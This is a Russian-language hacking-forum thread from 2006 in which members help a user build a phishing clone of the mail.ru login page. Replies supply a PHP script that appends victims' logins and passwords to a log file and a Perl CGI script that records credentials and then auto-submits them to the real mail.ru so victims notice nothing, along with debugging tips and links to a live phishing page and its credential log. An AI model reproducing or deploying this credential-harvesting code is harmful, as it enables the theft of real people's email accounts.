ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Скрипт, запоминающий данные введенные в форму
  #1  
Старый 02.05.2006, 14:53
Аватар для CheAter
CheAter
Познающий
Регистрация: 02.05.2006
Сообщений: 31
Провел на форуме:
45264

Репутация: 1
По умолчанию Скрипт, запоминающий данные введенные в форму

Народ мот кто поможет. Нужен скрипт или что-то другое , запоминающие данные введенные в форму. Полнета облазил, нашел только корявые какие-то. Чтобы было ясней, есть у меня к примеру копия главной страницы mail.ru, я заливаю на свой хост этот дубль и мне надо чтобы информация, которую человек заполняет в форму (на будликате mail.ru) оставалась в каком-нибудь лог-файле, чтобы я потом успешно мог ее просмотреть... Буду очень благодарен если Вы мне с этим поможете!
 
Ответить с цитированием

  #2  
Старый 02.05.2006, 15:01
Аватар для Trinux
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

PHP код:
<?
if(isset($login) && isset($passwd) && strlen($login.$passwd)>=2){
  
$f=fopen('log.txt''a');
  
fwrite($f"\n".$login.':'.$passwd);
  
fclose($f);
}
?>
<form method='post'>
<input type='text' name='login' /><br />
<input type='text' name='passwd' /><br />
<input type='submit' value='авторизоваться' />
</form>
примерно так. Только это палево. Красивее было бы сделать дубль, который действтиельно отправляет данные на mail.ru, но тем не менее ajax`ом сохроняет тебе все в лог.

P.S. log.txt должен существовать с правами 0666
 
Ответить с цитированием

  #3  
Старый 02.05.2006, 15:51
Аватар для CheAter
CheAter
Познающий
Регистрация: 02.05.2006
Сообщений: 31
Провел на форуме:
45264

Репутация: 1
По умолчанию

Т.е, я из формы mail.ru указываю путь <form name=Auth method=post action="http://_адрес_//к_ рпимеру_login.php"> ? только вот еще одно на mail.ru там еще есть в форме выбор домена (list.ru mail.ru...) у тя в скрипте этого нет, как с этим быть?
И насчет палева: есть cgi-скрипт, но он вроде не рабочий.Если тебе не трудно можешь подсказать где ошибка ?

#!/usr/bin/perl

&parse_form;

open LOG "Archive.txt";

print LOG "$FORM{'Login'} @ $FORM{'Domain'}, pass:$FORM{'Password'}n";

close LOG;

print "Content-Type: text/htmlnn";

print "<HTML><BODY>n";

print "<form name="Auth" method=post action=http://win.mail.ru/cgi-bin/auth>n";

print "<input type=hidden name=Mpopl value=1892134183>n";

print "<input type=hidden name=login_from value=titul>n";

print "<input type=hidden name="level" value=1>n";

print "<input type=hidden name="Login" value="$FORM{'Login'}">n";

print "<input type=hidden name="Password" value="$FORM{'Password'}">n";

print "<input type=hidden name="Domain" value="$FORM{'Domain'}">n";

print "<input TYPE=hidden name="" value="Войти">n";

print "<script language=javascript>Auth.submit()</script>n";

print "</form>n";

print "</BODY></HTML>n";
 
Ответить с цитированием

  #4  
Старый 02.05.2006, 16:50
Аватар для CheAter
CheAter
Познающий
Регистрация: 02.05.2006
Сообщений: 31
Провел на форуме:
45264

Репутация: 1
По умолчанию

Большое тебе спасибо человеК, сам пару фичей доработал - вроде нормально, но есть одно очень большое НО!. В лог файле домен сохраняется превосходно а вот ЛОГИН и ПАРОЛЬ какими-то буквами Б ! Как это исправить, в чем дело, почему так сохраняет?
 
Ответить с цитированием

  #5  
Старый 02.05.2006, 16:56
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию

Цитата:
&& strlen($login.$passwd)>=2
а не лучше было бы так:
$login != ''

Последний раз редактировалось Дикс; 02.05.2006 в 18:49..
 
Ответить с цитированием

  #6  
Старый 02.05.2006, 17:07
Аватар для CheAter
CheAter
Познающий
Регистрация: 02.05.2006
Сообщений: 31
Провел на форуме:
45264

Репутация: 1
По умолчанию

Не ну тут можно по разному ты мне обьясни как иероглифы убрать из лога ?
 
Ответить с цитированием

  #7  
Старый 02.05.2006, 18:43
Аватар для Trinux
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

Цитата:
а не лучше было бы так:
$login != ''
писанины меньше. Хотя проверка типа $login != '' должна по идее быстрее работать.

Цитата:
а не
$f=fopen('log.txt', 'W');
зачем, если нам надо не записать в фал, а дописать в файл?

2 CheAter
приведи пример. И на будущее - всегла как моно подробнее описывай проблему с примерами, а так только флуд разводим. Что пишется в конфиг, дай посмотреть
 
Ответить с цитированием

  #8  
Старый 02.05.2006, 18:50
Аватар для Дикс
Дикс
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме:
2209675

Репутация: 537


Отправить сообщение для Дикс с помощью ICQ
По умолчанию

Цитата:
зачем, если нам надо не записать в фал, а дописать в файл?
дадада, уже сам догадалсо
 
Ответить с цитированием

  #9  
Старый 02.05.2006, 21:26
Аватар для CheAter
CheAter
Познающий
Регистрация: 02.05.2006
Сообщений: 31
Провел на форуме:
45264

Репутация: 1
По умолчанию

Вот лог http://mailru.6te.net/log.txt(Можешь сам заполнить http://mailru.6te.net/index.html, а потом посмотреть ЛОГ). Если смотреть из блокнота , то вместо введенного паса и пароля сохраняется что-то вроде букв "Б". А если посмотреть напрямую через эту ссылку в браусере выводятся пустые места, хотя домен определяется правильно...

Последний раз редактировалось CheAter; 02.05.2006 в 21:29..
 
Ответить с цитированием

  #10  
Старый 02.05.2006, 21:39
Аватар для ZINGER
ZINGER
Banned
Регистрация: 23.02.2006
Сообщений: 112
Провел на форуме:
659109

Репутация: 37
По умолчанию

вот тебе моя фейковая страница с логом >> сылка
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Php скрипт для отправки писем... Allen PHP, PERL, MySQL, JavaScript 6 21.02.2006 22:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ